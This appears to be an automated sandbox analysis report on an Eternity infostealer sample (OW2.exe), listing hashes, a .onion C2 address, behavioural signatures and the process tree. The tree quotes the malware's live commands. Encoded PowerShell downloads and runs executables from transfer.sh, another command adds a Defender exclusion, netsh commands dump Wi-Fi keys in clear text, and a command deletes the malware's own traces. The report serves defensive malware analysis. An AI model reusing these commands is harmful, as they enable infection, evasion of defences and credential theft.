Analysis

  • max time kernel
    94s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/01/2023, 11:28

General

  • Target

    OW2.exe

  • Size

    3.3MB

  • MD5

    c1b752726974430ac3fec2f1455827ae

  • SHA1

    96ea20ec6509e82dd825744378c53b92d7ad230d

  • SHA256

    d4593b5e9b2a13357e52c1776acbe24990ec4d2154564bd454f53193859dae2f

  • SHA512

    acc835458d69b374e0818a42ec167d4d936f1f0d3c2527fc16226b72401353d8536a34c9b88bb8d2661dcd6f34a6a3a9e09e0243b6626bb6532113232548907a

  • SSDEEP

    98304:Ul/Kl7eRkjMa71IWV7VQhDU80HhDBfRT/R:2/2SPa757u+809d

Malware Config

Extracted

Family

eternity

C2

http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion

Wallets

113d641555b94beb8fc6e666c5499b40

Signatures

  • Eternity

    Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 5 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 62 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\OW2.exe
    "C:\Users\Admin\AppData\Local\Temp\OW2.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of WriteProcessMemory
    PID:3144
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1692
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoALwBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAIAAtAEYAbwByAGMAZQAgAA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3040
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:/ProgramData -Force
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3132
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAHQAcgBhAG4AcwBmAGUAcgAuAHMAaAAvAGcAZQB0AC8ANQBCAGMANgBMAGkALwB3AGQAdwBkAHcALgBlAHgAZQAiACAALQBPAHUAdABGAGkAbABlACAAIgBDADoALwBQAHIAbwBnAHIAYQBtAEQAYQB0AGEALwBEAGkAZwBpAHQAYQBsAFMAbwBmAHQALgBlAHgAZQAiACAAOwAgAGMAZAAgAEMAOgAvAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAvACAAOwAgAC4ALwBEAGkAZwBpAHQAYQBsAFMAbwBmAHQALgBlAHgAZQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3808
        • C:\ProgramData\DigitalSoft.exe
          "C:\ProgramData\DigitalSoft.exe"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Executes dropped EXE
          • Checks BIOS information in registry
          • Checks whether UAC is enabled
          • Checks processor information in registry
          • Suspicious use of AdjustPrivilegeToken
          PID:4472
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAHQAcgBhAG4AcwBmAGUAcgAuAHMAaAAvAGcAZQB0AC8AQgB5ADIAbgBNAGoALwBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAdAAuAGUAeABlACIAIAA7ACAAYwBkACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAIAA7ACAALgAvAHQALgBlAHgAZQAgAA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3892
        • C:\ProgramData\t.exe
          "C:\ProgramData\t.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:5032
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
            5⤵
            • Accesses Microsoft Outlook profiles
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            • outlook_office_path
            • outlook_win_path
            PID:4164
            • C:\Windows\SysWOW64\cmd.exe
              "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:532
              • C:\Windows\SysWOW64\chcp.com
                chcp 65001
                7⤵
                  PID:3260
                • C:\Windows\SysWOW64\netsh.exe
                  netsh wlan show profile
                  7⤵
                    PID:2868
                  • C:\Windows\SysWOW64\findstr.exe
                    findstr All
                    7⤵
                      PID:2000
                  • C:\Windows\SysWOW64\cmd.exe
                    "cmd.exe" /C chcp 65001 && netsh wlan show profile name="65001" key=clear | findstr Key
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1912
                    • C:\Windows\SysWOW64\chcp.com
                      chcp 65001
                      7⤵
                        PID:3468
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh wlan show profile name="65001" key=clear
                        7⤵
                          PID:2064
                        • C:\Windows\SysWOW64\findstr.exe
                          findstr Key
                          7⤵
                            PID:1028
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && DEL /F /S /Q /A "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                          6⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2344
                          • C:\Windows\SysWOW64\chcp.com
                            chcp 65001
                            7⤵
                              PID:2720
                            • C:\Windows\SysWOW64\PING.EXE
                              ping 127.0.0.1
                              7⤵
                              • Runs ping.exe
                              PID:1724

                Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\ProgramData\DigitalSoft.exe

                  Filesize

                  2.9MB

                  MD5

                  29afd87089337705ef3afc0c8dbe7035

                  SHA1

                  89eda1bc9b1432dbb60d302ac1165c429907c23e

                  SHA256

                  566430ef6cfde2a55d9c27fb92168a3ed6cc3802be791215a59609567ce06711

                  SHA512

                  df08ca4bd9db3455670942a919fc2df2ef7e94f1006a721660cf0c28cbe75624fa391f138aedd116a56a67b6007a33ca06b8abcb641f30656379b0af64f964e2

                • C:\ProgramData\DigitalSoft.exe

                  Filesize

                  2.9MB

                  MD5

                  29afd87089337705ef3afc0c8dbe7035

                  SHA1

                  89eda1bc9b1432dbb60d302ac1165c429907c23e

                  SHA256

                  566430ef6cfde2a55d9c27fb92168a3ed6cc3802be791215a59609567ce06711

                  SHA512

                  df08ca4bd9db3455670942a919fc2df2ef7e94f1006a721660cf0c28cbe75624fa391f138aedd116a56a67b6007a33ca06b8abcb641f30656379b0af64f964e2

                • C:\ProgramData\t.exe

                  Filesize

                  387KB

                  MD5

                  5b7cf0c11c0c8a93410267b3dfa650f0

                  SHA1

                  6e410946d5303fdd4c79ce77d35c7dbfdbb42058

                  SHA256

                  6d72a7cce41fee72110f821efbb5d6784b51c0c56da5dcd3def54c413b7ff07f

                  SHA512

                  a86c8978f5f2bc4ac462c7898bb258132e1b2f557763ede55a2b9f0759a05bd68c3d690e63e7324d0688129468086001df1ebdc6a041cd60c1bbb92421758668

                • C:\ProgramData\t.exe

                  Filesize

                  387KB

                  MD5

                  5b7cf0c11c0c8a93410267b3dfa650f0

                  SHA1

                  6e410946d5303fdd4c79ce77d35c7dbfdbb42058

                  SHA256

                  6d72a7cce41fee72110f821efbb5d6784b51c0c56da5dcd3def54c413b7ff07f

                  SHA512

                  a86c8978f5f2bc4ac462c7898bb258132e1b2f557763ede55a2b9f0759a05bd68c3d690e63e7324d0688129468086001df1ebdc6a041cd60c1bbb92421758668

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                  Filesize

                  2KB

                  MD5

                  968cb9309758126772781b83adb8a28f

                  SHA1

                  8da30e71accf186b2ba11da1797cf67f8f78b47c

                  SHA256

                  92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

                  SHA512

                  4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  11KB

                  MD5

                  f073b54b73d6963e7493f524007a66ff

                  SHA1

                  be1ba9a4dbb125af38a6596680bce1a3d5a4ecde

                  SHA256

                  3e4566b4afa359e74b869c41da6f53caa15224f6e3caa2c8174798d954df729b

                  SHA512

                  285a3a209e6f397043cd5a7a3df6bf4110a6c34915a33c7e28ba3aa1225c0fe9083e3b6c4e86b00f306a8cc41e76a3d82f5530e9d2823ee4ec0165f115d3dd3a

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  11KB

                  MD5

                  f073b54b73d6963e7493f524007a66ff

                  SHA1

                  be1ba9a4dbb125af38a6596680bce1a3d5a4ecde

                  SHA256

                  3e4566b4afa359e74b869c41da6f53caa15224f6e3caa2c8174798d954df729b

                  SHA512

                  285a3a209e6f397043cd5a7a3df6bf4110a6c34915a33c7e28ba3aa1225c0fe9083e3b6c4e86b00f306a8cc41e76a3d82f5530e9d2823ee4ec0165f115d3dd3a

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  17KB

                  MD5

                  855323142690a304c13c505def33efeb

                  SHA1

                  ec847788e71b14b30f91e6e3b544329bfb649d8e

                  SHA256

                  9c4b40173d9fa11039c2b64f493b9aa905ca9edd8efe571e5cef2fa3bac0e4b4

                  SHA512

                  78bd7ec7be83a920b1478224d4e10259e423ddf328609243302d729036024410a3ea365399e52c1dc49fa1ab4a926105049d93b6b3bf5ae8718ce102cf16ffff

                • memory/1692-147-0x0000000006A30000-0x0000000006A74000-memory.dmp

                  Filesize

                  272KB

                • memory/1692-141-0x0000000004EE0000-0x0000000004F16000-memory.dmp

                  Filesize

                  216KB

                • memory/1692-145-0x0000000005D70000-0x0000000005DD6000-memory.dmp

                  Filesize

                  408KB

                • memory/1692-143-0x0000000005BF0000-0x0000000005C12000-memory.dmp

                  Filesize

                  136KB

                • memory/1692-142-0x0000000005570000-0x0000000005B98000-memory.dmp

                  Filesize

                  6.2MB

                • memory/1692-150-0x00000000077B0000-0x0000000007826000-memory.dmp

                  Filesize

                  472KB

                • memory/1692-151-0x0000000007EB0000-0x000000000852A000-memory.dmp

                  Filesize

                  6.5MB

                • memory/1692-152-0x0000000007850000-0x000000000786A000-memory.dmp

                  Filesize

                  104KB

                • memory/1692-146-0x00000000064C0000-0x00000000064DE000-memory.dmp

                  Filesize

                  120KB

                • memory/1692-144-0x0000000005C90000-0x0000000005CF6000-memory.dmp

                  Filesize

                  408KB

                • memory/3132-155-0x0000000006B00000-0x0000000006B32000-memory.dmp

                  Filesize

                  200KB

                • memory/3132-161-0x0000000007BA0000-0x0000000007BBA000-memory.dmp

                  Filesize

                  104KB

                • memory/3132-157-0x0000000006AE0000-0x0000000006AFE000-memory.dmp

                  Filesize

                  120KB

                • memory/3132-156-0x0000000070D20000-0x0000000070D6C000-memory.dmp

                  Filesize

                  304KB

                • memory/3132-159-0x0000000007AD0000-0x0000000007B66000-memory.dmp

                  Filesize

                  600KB

                • memory/3132-160-0x0000000007A90000-0x0000000007A9E000-memory.dmp

                  Filesize

                  56KB

                • memory/3132-162-0x0000000007B80000-0x0000000007B88000-memory.dmp

                  Filesize

                  32KB

                • memory/3132-158-0x00000000078D0000-0x00000000078DA000-memory.dmp

                  Filesize

                  40KB

                • memory/3144-163-0x0000000000950000-0x00000000011CA000-memory.dmp

                  Filesize

                  8.5MB

                • memory/3144-140-0x0000000005680000-0x000000000571C000-memory.dmp

                  Filesize

                  624KB

                • memory/3144-138-0x0000000005C30000-0x00000000061D4000-memory.dmp

                  Filesize

                  5.6MB

                • memory/3144-149-0x0000000005720000-0x00000000057B2000-memory.dmp

                  Filesize

                  584KB

                • memory/3144-148-0x0000000000950000-0x00000000011CA000-memory.dmp

                  Filesize

                  8.5MB

                • memory/3144-132-0x0000000000950000-0x00000000011CA000-memory.dmp

                  Filesize

                  8.5MB

                • memory/3144-137-0x0000000000950000-0x00000000011CA000-memory.dmp

                  Filesize

                  8.5MB

                • memory/3144-136-0x0000000000950000-0x00000000011CA000-memory.dmp

                  Filesize

                  8.5MB

                • memory/3808-168-0x0000000007E10000-0x0000000007E32000-memory.dmp

                  Filesize

                  136KB

                • memory/4164-192-0x0000000006BB0000-0x0000000006C00000-memory.dmp

                  Filesize

                  320KB

                • memory/4164-190-0x0000000000400000-0x000000000045A000-memory.dmp

                  Filesize

                  360KB

                • memory/4472-176-0x0000000000570000-0x0000000000D44000-memory.dmp

                  Filesize

                  7.8MB

                • memory/4472-180-0x0000000007AF0000-0x0000000007B2C000-memory.dmp

                  Filesize

                  240KB

                • memory/4472-179-0x0000000006480000-0x0000000006492000-memory.dmp

                  Filesize

                  72KB

                • memory/4472-177-0x0000000000570000-0x0000000000D44000-memory.dmp

                  Filesize

                  7.8MB

                • memory/4472-186-0x0000000006E20000-0x0000000006E32000-memory.dmp

                  Filesize

                  72KB

                • memory/4472-175-0x0000000000570000-0x0000000000D44000-memory.dmp

                  Filesize

                  7.8MB

                • memory/4472-187-0x0000000000570000-0x0000000000D44000-memory.dmp

                  Filesize

                  7.8MB

                • memory/5032-185-0x0000000004E90000-0x0000000004E9A000-memory.dmp

                  Filesize

                  40KB

                • memory/5032-184-0x0000000000510000-0x0000000000578000-memory.dmp

                  Filesize

                  416KB

                • memory/5032-188-0x00000000051F0000-0x000000000520E000-memory.dmp

                  Filesize

                  120KB